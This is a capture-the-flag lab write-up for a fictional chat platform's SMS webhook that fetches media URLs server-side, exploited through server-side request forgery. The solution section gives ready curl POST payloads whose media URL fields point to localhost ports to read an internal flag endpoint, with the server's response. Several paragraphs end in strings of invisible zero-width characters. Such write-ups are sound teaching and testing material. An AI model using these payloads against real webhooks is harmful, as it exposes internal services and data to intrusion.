← Back to Writeups
CUSTOMMediumWeb

Lab 244 — ChatDesk — SSRF in SMS Webhook Media Processing

XESXOR9/10/20262 min read
#web#custom#medium#internal_service_discovery#localhost_bypass#ssrf_via_webhook#twilio_webhook_exploitation#linux

Lab 244 — ChatDesk — SSRF in SMS Webhook Media Processing

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: internal_service_discovery, localhost_bypass, ssrf_via_webhook, twilio_webhook_exploitation

Summary

Task: ChatDesk team communication platform with SMS webhook that fetches media URLs server-side without validation. Solution: Exploit SSRF in SMS webhook media processing to access internal metrics service on localhost:3001/flag.

Lab 244 — ChatDesk — SSRF in SMS Webhook Media Processing

Description

ChatDesk is a self-hosted team communication platform used by Deskflow Inc. for internal messaging and customer support. The platform features real-time chat, organized channels, direct messages, and an omnichannel livechat system that integrates with SMS providers for customer communication. The system handles conversations from multiple sources — web chat, email, and SMS — all unified into a single agent console. The platform also runs internal services for health monitoring and metrics collection.

Goal: Find and exploit a vulnerability in the application to access sensitive internal resources that should not be reachable from outside the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A team communication platform with SMS/MMS integration. The webhook endpoint that processes incoming SMS messages fetches media attachment URLs server-side without proper validation, allowing SSRF attacks to access internal services.

Target: https://a2ae703e-8d98-41b1-97de-803f85e2631c.labs.hackadvisor.io/ Credentials: user@test.com / password123

Analysis

Reconnaissance

  1. Logged in with provided credentials
  2. Found Settings page showing "Twilink SMS" integration with webhook URL: /api/v1/livechat/sms-incoming/twilink
  3. Integration notes mentioned: "Media attachments in MMS messages are automatically fetched and stored"
  4. Channel messages contained hints about:
    • "internal metrics service"
    • lack of "URL validation to the SMS media processing pipeline" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Discovery

The SMS webhook endpoint accepts POST requests with media attachment URLs in Twilio/Twilink format:

  • NumMedia — number of media attachments
  • MediaUrl0, MediaUrl1, etc. — URLs to fetch
  • MediaContentType0, etc. — MIME types

The server fetches these URLs server-side without validating if they point to internal services. This is a classic Server-Side Request Forgery (SSRF) vulnerability.

Internal Service Discovery

  • The main application runs on Express/Node.js (port 8080)
  • An internal health/metrics service runs on port 3001 (not exposed externally)
  • The internal service has a /flag endpoint accessible only from localhost ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Confirm SSRF

Test SSRF by fetching the application's own homepage:

bash
curl -s -X POST "https://a2ae703e-8d98-41b1-97de-803f85e2631c.labs.hackadvisor.io/api/v1/livechat/sms-incoming/twilink" \
  -H "Content-Type: application/json" \
  -d '{
    "From": "+15551234567",
    "To": "+15550199",
    "Body": "test",
    "NumMedia": "1",
    "MediaUrl0": "http://127.0.0.1:8080/",
    "MediaContentType0": "text/html"
  }'

The response contains the application's homepage HTML in attachment_data, confirming SSRF works. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Access Internal Service

Exploit SSRF to access the internal metrics service flag endpoint:

bash
curl -s -X POST "https://a2ae703e-8d98-41b1-97de-803f85e2631c.labs.hackadvisor.io/api/v1/livechat/sms-incoming/twilink" \
  -H "Content-Type: application/json" \
  -d '{
    "From": "+15551234567",
    "To": "+15550199",
    "Body": "test",
    "NumMedia": "1",
    "MediaUrl0": "http://localhost:3001/flag",
    "MediaContentType0": "text/plain"
  }'

Response

json
{
  "status": "received",
  "conversation_id": 670,
  "message": "test\n[Attachment: text/plain]",
  "attachment_data": "FLAG{REDACTED}"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍